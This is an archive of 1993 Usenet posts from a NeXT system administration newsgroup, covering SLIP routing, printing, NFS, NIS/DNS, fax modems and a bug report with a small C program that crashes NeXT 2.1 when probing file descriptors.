Subject: lseek(bad filedes) crashes NeXT2.1
Date: 2 Feb 1993 18:29:32 GMT
Organization: International Computer Science Institute, Berkeley, CA, U.S.A.
Message-ID: <1kmeic$p05@agate.berkeley.edu>
The little program below tests the file descriptors from 0 ot 31
for open-ness by performing an lseek and checking errno. This happens to
consistently crash out NeXT cube running the 2.1 release.
Question #1: Is this a known problem?
Question #2: Is there a fix for it.
The problem doesn't seem to be specific to lseek. A similar program
using select(2) to test the file descriptors also crashes the machine.
I consider this a very bad bug since it means that any program that is
not careful with open's and close's can produce very bad surprises.
Please reply via e-mail since I don't read this group. Thanks in advance.
-------- cut here ------------
#include <errno.h>
extern int errno;
extern long lseek();
main()
{
int i;
printf("Open streams:");
for (i = 0; i < 32; i++) {
if (lseek(i, 0L, 1) >= 0 || errno == ESPIPE) {
printf(" %d", i);
} else if (errno != EBADF) {
extern char *sys_errlist[];
printf(" error on %d: %s", i, sys_errlist[errno]);
}
}
printf("\n");
exit(0);
}
-------------------------------
--
Andreas Stolcke stolcke@icsi.berkeley.edu
International Computer Science Institute stolcke@ucbicsi.bitnet
1947 Center St., Suite 600, Berkeley, CA 94704 (510) 642-4274 ext. 126
From: bizarre@clients-r-us.tamu.edu (Tom Swanner III)
Newsgroups: comp.sys.next.sysadmin
Subject: My NeXT color printer doesn't work!
Date: 2 Feb 1993 16:07:35 GMT
Organization: Texas A&M University, College Station, TX
Message-ID: <1km687INNldu@tamsun.tamu.edu>
Keywords: printing daemon, NeXT CBJ printer
Yesterday, I finally received the new NeXT-Canon bubblejet printer. After
using the PrinterManager application to set up a print queue, I tried to print
something using the Print... menu in Edit. I got a panel that said:
The application could not connect to the printing daemon.
When I tried using lpr on a PostScript file I got a message saying:
Feb 1 17:21:32 clients-r-us lpd: Name lpr Msg connect
"/dev/lpd/printer" Connection refused
Doing a ps -aux gives me:
root 109 0.0 1.6 1.48M 320K ? SW 0:00 (lpd)
for the printing daemon. When I nidump printcap ., I get:
My_Printer: \
:lf=/usr/adm/lpd-errs:sf=:sb=:lp=/dev/null:mx=0: \
:if=/usr/lib/NextPrinter/Server/prserver: \
:cf=/usr/lib/NextPrinter/Server/pscf: \
:df=/usr/lib/NextPrinter/Server/psdf: \
:gf=/usr/lib/NextPrinter/Server/psgf: \
:nf=/usr/lib/NextPrinter/Server/psnf: \
:rf=/usr/lib/NextPrinter/Server/psrf: \
:tf=/usr/lib/NextPrinter/Server/pstf: \
:vf=/usr/lib/NextPrinter/Server/psvf:ty=NeXT Color Printer:note=: \
:nxformat=3.0:sd=/usr/spool/NeXT/My_Printer: \
:af=/usr/adm/My_Printer.acct:_writers=*:
Have I done something wrong?
Thanks,
Tom Swanner III
bizarre@clients-r-us.tamu.edu
From: arzt@dccs.upenn.edu (Noam H. Arzt)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Slip and -NXHost
Message-ID: <107684@netnews.upenn.edu>
Date: 2 Feb 93 16:21:27 GMT
References: <1993Jan27.145036.20671@dvorak.amd.com>
Sender: news@netnews.upenn.edu
The real problem here is that you need to define an IP address for the ETHERNET
adaptor on the remote (i.e. slip client) machine, since NXhost can only address
an ethernet and not a slip port. Try this:
1. On remote machine (slip client), use NetManager to define the IP address and
node name ONLY on the "Local" screen. Do not fill in any of the other junk. Its
fine to use the default address that NeXT provides as long as you don't use
that any other place in the cluster.
2. On the machine on-site that you want to NXhost from, add this IP address and
host name to the hosts table in the NetInfo database.
3. In your rc.local file on the machine on site add the following:
route add ip_add_of_eth_on_remote ip_add_of_slip_on_remote 1
with the right siustitutions so that the NXHost command will "find" the
ethernet adaptor of the remote machine "through" the slip adaptor of that
machine.
Good luck!
--
Mr. Noam Arzt 215/898-3029 (voice)
Director, Special Projects 215/898-9348 (FAX)
University of Pennsylvania arzt@dccs.upenn.edu
Data Communications & Computing Services (NeXTmail is OK)
Suite 221A, 3401 Walnut Street, Philadelphia, PA 19104
Newsgroups: comp.sys.next.sysadmin
From: dan@ennex1.eng.utsa.edu (Daniel Shelton)
Subject: Frigging write errors!!!!!
Message-ID: <1993Feb2.155132.4600@ringer.cs.utsa.edu>
Sender: news@ringer.cs.utsa.edu
Organization: Univ of Texas at San Antonio
Date: Tue, 2 Feb 1993 15:51:32 GMT
Hello All,
I get these blasted errors when trying to index a directory that
is located on an external disk. The directory is exported to the network.
Anybody have an idea???
THANKS MUCH
Dan (dan@ennex1.eng.utsa.edu)
NFS getattr failed for server ennex1: RPC: Timed out
NFS write failed for server ennex1: RPC: Timed out
NFS write error 22 on host ennex1 fh 608 0 80002 eb625a1 fc9a0000 80002
fa15703 d8d70000
NFS write failed for server ennex1: RPC: Timed out
NFS write error 22 on host ennex1 fh 608 0 80002 eb625a1 fc9a0000 80002
fa15703 d8d70000
NFS write failed for server ennex1: RPC: Timed out
NFS write error 22 on host ennex1 fh 608 0 80002 eb625a1 fc9a0000 80002
fa15703 d8d70000
NFS write failed for server ennex1: RPC: Timed out
NFS write error 22 on host ennex1 fh 608 0 80002 eb625a1 fc9a0000 80002
fa15703 d8d70000
vnode_pageout: failed!
NFS read failed for server ennex1: RPC: Timed out
NFS getattr failed for server ennex1: RPC: Unable to receive
NFS read failed for server ennex1: RPC: Unable to receive
server ennex1:
Newsgroups: comp.sys.next.sysadmin
From: jcorallo@ccsi.com (P. John Corallo)
Subject: Re: SLIP IS UP, BUT...
Message-ID: <1993Jan29.170541.12814@ccsi.com>
Sender: jcorallo@ccsi.com
Organization: Crystal Computer Systems, Inc.
References: <ANDERSON.93Jan28092525@sapir.cog.jhu.edu>
Date: Fri, 29 Jan 1993 17:05:41 GMT
In article <ANDERSON.93Jan28092525@sapir.cog.jhu.edu>
anderson@sapir.cog.jhu.edu (Stephen Anderson) writes:
> I'm in a very similar situation: I can connect from my home machine to
> the slip server on my office machine, but apart from being able to
> ping the slip interface, I can't get any further (can't even ping the
> ethernet interface on the slip server machine). I wrote Louie a while
> ago asking for help (Hi, Louie! I'm a paying customer....:-) but
> didn't hear anything.
>
> I wouldn't clutter the net with this, but I think that if someone
> could post a good description of what to do to establish connectivity
> on a slip server so that slip clients can connect to the net, it would
> be a public service. Louie's manual gives a fine description of what
> to do to get the client-server connection up. That's probably fine if
> you're using slip to connect to an existing server that someone else
> is already administering, but I don't know of a ready resource for
> what to do if you have to setup the server too.
>
Post the SLIP and ethernet IP addresses of your remote machine and office
machine. I will post up what you need to do and the syntax. It sounds
like you just need to setup the proper netmasks and router tables and
everything should "just work".
-John Corallo
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
From: jjfeiler@relief.com (John Jay Feiler)
Subject: UPS daemon software
Message-ID: <1993Jan31.193851.13794@relief.com>
Keywords: ups daemon next
Sender: jjfeiler@relief.com
Organization: relief consulting
Date: Sun, 31 Jan 1993 19:38:51 GMT
Does anyone have a ups-daemon that will compile on a NeXT. I'd like to have
my machine automatically shutdown when power fails, but the upsd program I
got off the archives uses SysV termios stuff, and I'd rather have a BSD
version that Just Works (TM) than have to hack this one.
Thanks
John
--
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4926 152nd St. SW NeXTmail Welcome!!!
Edmonds, WA 98026-3344 Independent NeXTSTEP Developer
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT Computer Hiring NeXTSTEP/Intel positions (Redwood City, California)
Message-ID: <6703@rosie.NeXT.COM>
Date: 2 Feb 93 18:53:25 GMT
Sender: news@NeXT.COM
NeXT Computer Hiring NeXTSTEP/Intel positions
Location: Redwood City, California
Reply to:
Amir Gharaat
Pre-release Coordinator
Software Marketing
NeXT Computer, Inc
Email: amir@next.com
NeXT Computer is seeking candidates for temporary full-time positions
in the software pre-release program for NeXTSTEP/Intel and other
future NeXT software products. Following is a description of the
position. Please read and understand all requisites before
responding.
Summary of responsibilities:
* Filter incoming bug reports from pre-release sites and submit
reports into Software Engineering
* Verification of bug reports
* Communication with pre-release sites
* Communication with software engineers
* Feedback to the pre-release management as to the status of the
program
Summary of required skills:
* Excellent technical knowledge of NeXTSTEP
* High proficiency in using third-party applications
* Excellent communication skills
* Extensive knowledge of IBM-compatible PCs a definite plus
* NeXTSTEP programming experience a plus
This position is an excellent opportunity to gain in-depth knowledge
of NeXT's future software products as well as a good starting point
for possible permanent positions with NeXT.
****************************************
This position requires temporary relocation to NeXT headquarters in
Redwood City, CA, the cost of which will not be reimbursed by NeXT.
Candidates need to be available to work full-time beginning March 1st
and work for a minimum of 6 months.
****************************************
Please submit applications via email no later than 2/15 to
amir@next.com.
Amir Gharaat
Pre-release Coordinator
Software Marketing
NeXT Computer, Inc.
From: urban@sideshow.jpl.nasa.gov (Michael P Urban)
Newsgroups: comp.sys.next.sysadmin,comp.sys.sun.admin
Subject: Re: Sun NIS client won't resolve DNS from Netinfo
Date: 2 Feb 1993 19:19:02 GMT
Organization: Jet Propulsion Laboratory, Pasadena, CA
Distribution: world
Message-ID: <1kmhf6INN4k@elroy.jpl.nasa.gov>
References: <1k9mkbINNd5m@sun.rest.tasc.com>
Keywords: Netinfo, NIS, YP, DNS
In article <1k9mkbINNd5m@sun.rest.tasc.com> wainner@rest.tasc.com writes:
>. I really don't want to "fix" the Sun's
>with the custom shared libraries that use DNS without NIS. Any ideas
>any body?
I was just about to post a similar query; I am
in an analogous position with an HP9000 as the NIS master,
and a SunOS 4.1.3 Sparc as the client. The Sun Systems Administration
manual indicates that `the YP_INTERDOMAIN key will be inserted in (the
maps)' as a result of the -b flags; the O'Reilly DNS book (the
`cricket book'?) simply says that `This will insert a ``magic cookie''
into the hosts map that instructs NIS to query DNS if it can't find a
host name in the hosts map.' and further indicates that this is ypserv
behavior, not client behavior; presumably neither Mr. Wainner's NeXTs
nor my HPs have ypserv programs that actually do this.
So it seems that the solution would seem to be making the Sun a slave
server, making sure that it is also its own client, and somehow
jiggering the map to include this YP_INTERDOMAIN key. I tried some
experiments with perl and its dbmopen facility, but could not make
things go. If someone knows precisely what has to be done here, I
would certainly like to hear about it.
Mike Urban
urban@cobra.jpl.nasa.gov
Newsgroups: comp.sys.next,comp.sys.next.sysadmin
From: cleeland@cs.tulane.edu (Chris Cleeland)
Subject: Can't get my FAX straight...
Message-ID: <1993Feb1.162702.4461@cs.tulane.edu>
Nntp-Posting-Host-[nntpd-4396]: sinbad
Sender: news@cs.tulane.edu
Organization: Computer Science Dept., Tulane Univ., New Orleans, LA
Distribution: na
Date: Mon, 1 Feb 1993 16:27:02 GMT
Has anyone had any experience hooking up a FaxModem which is *NOT* listed
in the default NS 3.0 PrintManager Fax Modem configuration? What needs
to happen? I know precious little about Fax Modems, so info on that
would also be appreciated :-)
Specifically, I am trying to hook up a Zoom/FAXMODEM FX9624 that a
friend has given to me. He used to have it hooked up to his Mac.
Any help appreciated!! E-mail, repost, phone call, whatever!
Thanks!
-cj
--
----------------------------------------------------------------------
Chris Cleeland "If your heart ain't in it,
cleeland@cs.tulane.edu then get your other part out."
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: pascal@nextasy.physics.mcmaster.ca (Pascal Gaudette)
Subject: Mapping out a bad block *without* reformatting?
Message-ID: <1993Feb2.200851.5083@mcshub.dcss.mcmaster.ca>
Sender: usenet@mcshub.dcss.mcmaster.ca
Organization: McMaster University, Hamilton, Ontario.
Date: Tue, 2 Feb 1993 20:08:51 GMT
It appears that I have a bad block on my (1 month old) hard drive.
I keep getting media errors from this one block, and have apparently
lost one file to it -- I moved the file to a new directory, and now
it won't copy or uncompress... every access attempt generates:
Feb 1 19:32:46 nextasy mach: Target 1: MEDIA ERROR; block 61310H retry 1
Is there any way to map out the bad block *without* reformatting the
entire drive? This is my boot drive, so reformatting and restoring
from backup would be quite a pain...
Thanks for any help,
--
Pascal "The Rascal" Gaudette pascal@nextasy.physics.mcmaster.ca
MacNUG president | *NeXTmail encouraged*
graduate student, McMaster university | Je ne suis pas infaillible.
Physics and astronomy dep. | Vive le Quebec LIBRE!
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups)
Newsgroups: comp.sys.next.sysadmin
Subject: List of NeXT Mailing lists
Message-ID: <6708@rosie.NeXT.COM>
Date: 2 Feb 93 20:13:53 GMT
Sender: news@NeXT.COM
Hello,
Below is the updated list of NeXT SPECIAL INTEREST GROUPS (SIGS).
These lists are available for anyone to join with NeXT special
interests in many topic areas.
Also included is info on the NeXT Developer's email alias that had
been accidently dropped from this listing:
NeXTSTEP Developer SIG mailing list
To join, send email to next-prog-request@cpac.washington.edu
Conrad Geiger
Manager, International NeXT and NeXTSTEP User Groups
_________________________________________________________________
Adobe Illustrator NeXT SIG
(ai_next@wcraft.wimsey.bc.ca)
To join , email: jchin@wcraft.wimsey.bc.ca
Adobe Technology Exchange
Phone: (415) 962-4999
AFS NeXT SIG
To join, email: info-afs-next-request@transarc.com
Auspex Administrators (NFS file servers)
To join, send email to: auspex-request@princeton.edu
Austrian NeXT users SIG
To join, email the text:
"SUBSCRIBE nougat <your name>"
to listserv@fml.tuwien.ac.at
Berkeley Mathematics Software Group
Email: nb@cs.stanford.edu
Classroom: NeXT Courseware SIG
To join, email the text:
"SUBSCRIBE next-classroom <your name>"
to MAILSERV@gac.edu
Communications/TeleCommunications SIG
To join, email: nextcomm-request@marble.com
Create users NeXT SIG
To join, send email to Create-request@mcs.anl.gov
Craftman SIG
To join, email: chris@nextpoint.de
Data GROUP NeXT SIG
To join, email: data_group@dazzl.com
DataPhile users NeXT SIG
To join, send email to DataPhile-request@mcs.anl.gov
DBKit SIG mailing list
To join, send email to dbkit-request@medequity.com
Developer SIG mailing list
To join, send email to next-prog-request@cpac.washington.edu
Epoch Administrators
To join, send email to: epuf-request@antares.mcs.anl.gov
Executor SIG
To join, email: executor-request@ictv.com
Finnish: Finnish Users of NeXT
To join, send email to: mailserver@lists.funet.fi
and write in body text:
HELP
LIST
SUB FUNeXT
Frame: FUN (Frame Users Network)
To join, email: framers-request@drd.com
Frame User Network -New England (FUNNE)
To join, email: funne@srbci.mv.com
Gopher users Interest Group
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GIS(Geographical Information Services)SIG
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GNU - Objective C Email list
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ISDN Mailing List
To join, email: isdn-request@csn.org
IXKit Mailing List (Indexing Kit)
To join, email the text:
"SUBSCRIBE ixkit <your name>"
to listserv@cubetech.com
Japanese: Kanji and Japanese on the NeXT
To join, email:next-nihongo-request@pinoko.berkeley.edu
Korea NeXT Users
To join, email: knext-request@beethoven.gmu.edu
Legal Special Interest Group (JuriNUG)
To join, email: aba-unix-list-request@cayman.com
Legal (ABA) Email Group
and send the text: SUB NIL-L <your name>
to listserv@austin.onu.edu
Mach-informaion Mailing List
To join, email: info-mach-request@cs.cmu.edu
Maple Special Interest Group
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Mesa Email List
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Music: NeXT Music
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Music Developer SIG
To join, email: musickit@ccrma.stanford.edu
MUSIC Special Interest Group
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"SUBSCRIBE EMUSIC-L <your> <name>"
to listserv@AMERICAN.EDU
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"SUBSCRIBE MEXNEXT <your> <name>"
to listserv@TECMTYVM.bitnet
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From: bill@ganesha.cognet.ucla.edu (William M. Eldridge)
Subject: Re: nn: "Database magic number mismatch" error?
Message-ID: <1993Feb2.202840.9553@cognet.ucla.edu>
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References: <C1t2AJ.DB@ccu.umanitoba.ca>
Date: Tue, 2 Feb 1993 20:28:40 GMT
In article <C1t2AJ.DB@ccu.umanitoba.ca> tilley@ccu.umanitoba.ca (Richard
Tilley) writes:
> In <1993Jan28.093953.2249@cognet.ucla.edu> bill@ganesha.cognet.ucla.edu
(William M. Eldridge) writes:
>
>
> >Trying to get nn compiled on a NeXT Turbo Color running 3.0,
> >using latest fully patched version of nn.
>
>
> > 1) There's a conf/s-NeXT1-0.h file, but no updates for 2.0
> > or 3.0 - is this cool, or is a more recent version available?
>
> > 2) I'm NFS mounting the nn database from a Sun. When I type
> > "nn" I get a "Database magic number mismatch" error.
> > Nothing I found in Next or nn FAQs talks about this one.
> > nn runs fine on the Suns.
>
> I had the same problem and was not able to fix it.
> I have heard that you need to use NETWORK_DATABASE on both the Sun and
NeXT.
> Our Sun does not use this, so I was unable to test this theory.
>
> Please let us all know if you get it working.
> --
> ... Richard <tilley@ccu.umanitoba.ca> Computer Services, Networking
group.
Yes, I was silly and didn't notice that I hadn't changed to
NETWORK_DATABASE on the Sun in Config.h
This then means that all the nn data files have to be
reformatted (i.e. start over from scratch, as I saw it), or
suddenly you get the same data errors on the Suns as well.
Works fine now.
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From: rutherford@csusys.ctstateu.edu
Subject: novell problem
Message-ID: <1993Feb2.175747.1@csusys.ctstateu.edu>
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Date: Tue, 2 Feb 1993 22:57:47 GMT
Help. I am running nextstep 3.0 on the same wire with
a netware 3.11 server (recently upgraded from netware
2.2). With 2.2 netware I never had a problem using
novell print queues and printers, and in using
the drives on the novell server.
Now that I have upgraded to netware 3.11, the novell
services seem to be very erratic. Sometimes they
work, sometimes I cannot find the netware server that
is a few feet down the wire, though it will find a
netware server 80 miles away more often than not (
though not always).
Any clues where the problem might be?
Thanks,
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From: arzt@dccs.upenn.edu (Noam H. Arzt)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Slip and -NXHost
Message-ID: <107673@netnews.upenn.edu>
Date: 2 Feb 93 15:02:17 GMT
References: <1993Jan27.145036.20671@dvorak.amd.com>
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In article <1993Jan27.145036.20671@dvorak.amd.com> rpomeroy@aunext1.amd.com
(Ron Pomeroy x(Coop)) writes:
> In article <C1H53I.LuF@oceania.com> Kambiz Aghaiepour <kambiz@oceania.com>
> writes:
> >>
> >>I am having trouble -NXHost'ing an application from a client machine that
is
> >>connected to my network via slip. (Yeah, I've heard it's really slow and
> >>not worth the trouble; but I enjoy pain!)
> >>
> >>I have Louis A. Mamakos' slip. And the two machine that are connected are
> >>both running 3.0 (one is a cube, the other a nextstation turbo). When I
> >>start any application with the -NXHost option, e.g.
> >>
The real problem here is that you need to define an IP address for the ETHERNET
adaptor on the remote (i.e. slip client) machine, since NXhost can only address
an ethernet and not a slip port. Try this:
1. On remote machine (slip client), use NetManager to define the IP address and
node name ONLY on the "Local" screen. Do not fill in any of the other junk. Its
fine to use the default address that NeXT provides as long as you don't use
that any other place in the cluster.
2. On the machine on-site that you want to NXhost from, add this IP address and
host name to the hosts table in the NetInfo database.
3. In your rc.local file on the machine on site add the following:
route add ip_add_of_eth_on_remote ip_add_of_slip_on_remote 1
with the right siustitutions so that the NXHost command will "find" the
ethernet adaptor of the remote machine "through" the slip adaptor of that
machine.
Good luck!
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From: arzt@dccs.upenn.edu (Noam H. Arzt)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Slip and -NXHost
Message-ID: <107683@netnews.upenn.edu>
Date: 2 Feb 93 16:21:12 GMT
References: <1993Jan27.145036.20671@dvorak.amd.com>
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The real problem here is that you need to define an IP address for the ETHERNET
adaptor on the remote (i.e. slip client) machine, since NXhost can only address
an ethernet and not a slip port. Try this:
1. On remote machine (slip client), use NetManager to define the IP address and
node name ONLY on the "Local" screen. Do not fill in any of the other junk. Its
fine to use the default address that NeXT provides as long as you don't use
that any other place in the cluster.
2. On the machine on-site that you want to NXhost from, add this IP address and
host name to the hosts table in the NetInfo database.
3. In your rc.local file on the machine on site add the following:
route add ip_add_of_eth_on_remote ip_add_of_slip_on_remote 1
with the right siustitutions so that the NXHost command will "find" the
ethernet adaptor of the remote machine "through" the slip adaptor of that
machine.
Good luck!
--
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Director, Special Projects 215/898-9348 (FAX)
University of Pennsylvania arzt@dccs.upenn.edu
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From: kls30@cd.amdahl.com (Kent L. Shephard)
Newsgroups: comp.sys.next,comp.sys.next.sysadmin
Subject: Re: Can't get my FAX straight...
Message-ID: <ad2A02WA34kX01@JUTS.ccc.amdahl.com>
Date: 2 Feb 93 16:52:16 GMT
References: <1993Feb1.162702.4461@cs.tulane.edu>
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Organization: Amdahl Corporation, Sunnyvale CA
In article <1993Feb1.162702.4461@cs.tulane.edu>, cleeland@cs.tulane.edu
(Chris Cleeland) writes:
>Has anyone had any experience hooking up a FaxModem which is *NOT*
>listed
>in the default NS 3.0 PrintManager Fax Modem configuration? What
>needs
>to happen? I know precious little about Fax Modems, so info on that
>would also be appreciated :-)
IT may or may not work. Most likely if it isn't on the panel you will need
a custom driver.
>
>Specifically, I am trying to hook up a Zoom/FAXMODEM FX9624 that a
>friend has given to me. He used to have it hooked up to his Mac.
>
I haven't heard of any software that would drive that FAXmodem. You might
try B&W and see if they have any plans to make NXFax work with that modem.
>Any help appreciated!! E-mail, repost, phone call, whatever!
>
>Thanks!
>-cj
>--
>----------------------------------------------------------------------
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>cleeland@cs.tulane.edu then get your other part out."
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From: john@oceania.com (John Robison)
Subject: Re: dump.old in 3.0
Message-ID: <C1u9nF.20y@oceania.com>
Sender: john@oceania.com (John Robison)
Organization: Oceania Health Care Systems
References: <1kc1pnINNg53@emory.mathcs.emory.edu>
Distribution: na
Date: Tue, 2 Feb 1993 20:45:12 GMT
Joe Christy writes
> The 3.0 man pages mention dump.old, but I can't seem to find it on disk.
> Where is it? Is /usr/etc/dump in 3.0 really incompatible with, say
SunOS4.1.3
> /usr/etc/dump? Enquiring minds want to know.
>
dump.old was left out of the 3.0 distribution.
(I think it was a mistake.)
The 2.x version of dump.old works fine.
Note that dump.old promises compatibilities with other DUMP
programs, but I could never get dump.old files to be read
completely by my other systems.
dump (*and* dump.old) are "really incompatible" with the
dump shipped on SunOS 4.1.1.
You can still do backups though, it seems that rdump
from a NeXT to a tape drive on our Sun works just fine.
(Despite the nasty warning about rmt controls in the
NeXT dump man page.)
Just FYI,
John
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From: dvorak@cscs.ch (Jiri Dvorak)
Subject: Re: Sun NIS client won't resolve DNS from Netinfo
Message-ID: <1993Feb3.081937.11566@cscs.ch>
Keywords: Netinfo, NIS, YP, DNS
Sender: dvorak@gass1 (Jiri Dvorak)
Organization: Centro Svizzero di Calcolo Scientifico, CH-6928 Manno
References: <1k9mkbINNd5m@sun.rest.tasc.com> <1kmhf6INN4k@elroy.jpl.nasa.gov>
Date: Wed, 3 Feb 1993 08:19:37 GMT
As a very similar issue:
Has anyone found out how to get the YP_INTERDOMAIN key into a NIS+
map? Why would I need it? Because I have a Solaris NIS+ server
serving SunOS4.X clients in NIS compatibility mode. DNS works fine
on the server and on Solaris 2.1 Clients, using the nsswitch.conf
file. However, on SunOS4.X Clients it doesn't. Obviously, the magic
cookie is not present in the NIS map offered by NIS+.
Any ideas?
I have another problem with this NIS+/NIS configuration:
Upon boot-up, i.e. upon starting ypbind on the 4.X client,
it takes something between 1 to 4 false attempts to get the
yp binding. ypwhich returns something like 'domain ... not bound'.
The second or third ypwhich then returns the correct domain.
The problem is particularly nasty because the 'ifconfig' following
the 'ypbind' in rc.local usually hangs forever. My workaround
consists in a couple of ypwhich's inserted between the ypbind
and ifconfig. But what's the cause and 'real' solution to the
problem?
Thanks,
Jiri Dvorak CSCS-ETHZ <dvorak@cscs.ch>
From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre)
Newsgroups: comp.sys.next.sysadmin
Subject: Running out of SCSI space
Message-ID: <C1voJn.7wq@newcastle.ac.uk>
Date: 3 Feb 93 15:04:35 GMT
Organization: University of Durham
I'm rapidly running out of SCSI id's that I can use but there are still a few more
peripherals that I might consider getting (especially hard drive space)...I'm currently
using:
1 Internal drive
2 External drive (HP 1.6G)
3 HP DAT
4 CD-ROM
6 HSD scan-X Colour.
I think that only leaves me with 0 as 7 is reserved...how possible would it be to get an
old sun to act as a SCSI-server? Is this even possible? Would I be better off buying a
cheap 3/50 and putting all my hard drive space on there and then just NFS mounting
everything on to my local machine?
Thanks,
Scott
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From: gvh@metrosoft.com (Gordon Van Huizen)
Subject: Re: Fonts on Mac HD: How to easily access under 3.0?
Message-ID: <1993Feb3.021823.1442@metrosoft.com>
Sender: gvh@metrosoft.com
Organization: Metrosoft
References: <1993Feb1.232947.15429@galileo.cc.rochester.edu>
Date: Wed, 3 Feb 1993 02:18:23 GMT
In article <1993Feb1.232947.15429@galileo.cc.rochester.edu>
jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) writes:
> Is there a trick in 3.0 that lets me access the invisible
> fork on Mac files more easily than what I'm doing?
Nope.
> Is there a manual on how to do this?
Nope.
> For instance, where did that first person find the method
> of adding ".#rsrc#" to filenames?
I asked various people at NeXT.
> I suppose it's in the on-line manuals, but I can't find it.
Don't feel bad - it isn't there.
> It seems fairly silly to let one mount Mac HDs and then not
> be able to access the data on them.
We were more than a little surprised at how this works (or
doesn't depending on how you look at it).
> BTW: Does the program "mfrc" works under 3.0? Does it work
> at all? It says that it will convert Mac fonts to NeXT, and
> I'm sincerely hoping that it still works.
I haven't tried it under 3.0 - I haven't had it around in
quite awhile. From what I recall of the code it probably
doesn't correctly work with 3.0 but I could be wrong. It
also has a few bugs, but basically worked OK under 2.x. It
didn't create .font warppers or provide any form of
system installtion though.
The way we addressed this in MetroTools was by extending
our code (which already knew about a variety of ways Mec
files could "look" by the time they got onto a NeXT) to
handle the NeXTSTEP 3.0 case. We have a font installer
(and a Mac sound convertor) as part of our commercial
MetroTools package. It's reasonably priced and can save
you a lot of headaches. If you want more info just send some
mail to info@metrosoft.com.
I have posted an article on Mac files under NeXTSTEP 3.0 a
few times. Perhaps it should become part of periodic
posting or FAQ. If you haven't got a copy, let me know and
I'll either e-mail it or re-post it depending on the
number of responses I get.
Gordon
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From: neil@alamo.mth.pdx.edu (John Neil)
Newsgroups: comp.sys.next.sysadmin,news.software.nn
Subject: Re: nn: "Database magic number mismatch" error?
Message-ID: <neil.728755999@dehn>
Date: 3 Feb 93 16:13:19 GMT
Article-I.D.: dehn.neil.728755999
References: <1993Jan28.093953.2249@cognet.ucla.edu> <C1t2AJ.DB@ccu.umanitoba.ca>
Sender: news@pdxgate.UUCP
tilley@ccu.umanitoba.ca (Richard Tilley) writes:
>In <1993Jan28.093953.2249@cognet.ucla.edu> bill@ganesha.cognet.ucla.edu (William M. Eldridge) writes:
>>Trying to get nn compiled on a NeXT Turbo Color running 3.0,
>>using latest fully patched version of nn.
>> 1) There's a conf/s-NeXT1-0.h file, but no updates for 2.0
>> or 3.0 - is this cool, or is a more recent version available?
>> 2) I'm NFS mounting the nn database from a Sun. When I type
>> "nn" I get a "Database magic number mismatch" error.
>> Nothing I found in Next or nn FAQs talks about this one.
>> nn runs fine on the Suns.
>I had the same problem and was not able to fix it.
>I have heard that you need to use NETWORK_DATABASE on both the Sun and NeXT.
>Our Sun does not use this, so I was unable to test this theory.
>Please let us all know if you get it working.
>--
>.. Richard <tilley@ccu.umanitoba.ca> Computer Services, Networking group.
This is the exact set up we have had running for months. Everything works
perfectly if you specify NETWORK_DATABASE on every machine which will use
the NFS mounted database.
--John Neil
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From: alberto@parsec.mixcom.com (Manuel Alberto Ricart)
Subject: simple NFS server question
Message-ID: <1993Feb3.144242.267@parsec.mixcom.com>
Sender: alberto@parsec.mixcom.com (Manuel Alberto Ricart)
Organization: I keep everything where I <most likely> can find it.
Date: Wed, 3 Feb 1993 14:42:42 GMT
I just networked two machines (the LAN consists of only 2
computers linked to the outside world via UUCP), and
noticed that on the NFS server, which exports home
directories, LocalApps, etc the path to the home
directories is:
/Net/parsec/Users/
^^^^^^
My concern is that the entire root directory (parsec
appears under /Net and seems to be cyclical:
/Net/parsec/Net/parsec..... forever. Is this normal?
On the client machine I only get the fat exported
directories, which is what I expected to see.
Any help appreciated.
--
Manuel Alberto Ricart
alberto@parsec.mixcom.com <NeXTMail Welcome>
From: gonzo@cs.tu-berlin.de (S. F. Ruehauf)
Newsgroups: comp.sys.next.sysadmin
Subject: index
Date: 3 Feb 1993 18:01:09 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <1kp195$474@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Summary: how to index mail?
Keywords: inde and mail
hallo
I cannot index my mail.
every attempt to index my Mailbox turns out to be a plain filename listing.
(when i click 'List Titles')
search always return 'o found'
but there is no hint to it's contents.
this is also true for user root.
thanx
stephan
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From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: simple NFS server question
Date: 3 Feb 1993 19:56:02 GMT
Organization: University of Houston
Message-ID: <1kp80iINNl0j@menudo.uh.edu>
References: <1993Feb3.144242.267@parsec.mixcom.com>
In article <1993Feb3.144242.267@parsec.mixcom.com>
alberto@parsec.mixcom.com (Manuel Alberto Ricart) writes:
#I just networked two machines (the LAN consists of only 2
#computers linked to the outside world via UUCP), and
#noticed that on the NFS server, which exports home
#directories, LocalApps, etc the path to the home
#directories is:
#
#/Net/parsec/Users/
# ^^^^^^
#My concern is that the entire root directory (parsec
#appears under /Net and seems to be cyclical:
#/Net/parsec/Net/parsec..... forever. Is this normal?
#
The servers are unique. When you export and mount under /Net, you will
get an endless cycle of /Net/server/Net/server/Net/server... This is
perfectly normal. No need to worry about anything.
#--
#Manuel Alberto Ricart
#alberto@parsec.mixcom.com <NeXTMail Welcome>
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From: Hal.Varian@umich.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: index
Date: 3 Feb 1993 20:10:35 GMT
Organization: University of Michigan - College of Literature, Science, and TheArts
Distribution: world
Message-ID: <1kp8rrINN3vg@controversy.math.lsa.umich.edu>
References: <1kp195$474@news.cs.tu-berlin.de>
In article <1kp195$474@news.cs.tu-berlin.de> gonzo@cs.tu-berlin.de (S. F.
Ruehauf) writes:
> I cannot index my mail.
> every attempt to index my Mailbox turns out to be a plain filename listing.
> (when i click 'List Titles')
> search always return 'o found'
> but there is no hint to it's contents.
Digital Librarian can index folders with ASCII or RTF files in them,
but it doesn't understand the structure of mboxes. Even if it did, it wouldn't
do you much good since mbox is just one big file.
You need to either use the Indexing Kit to write a special-purpose indexing
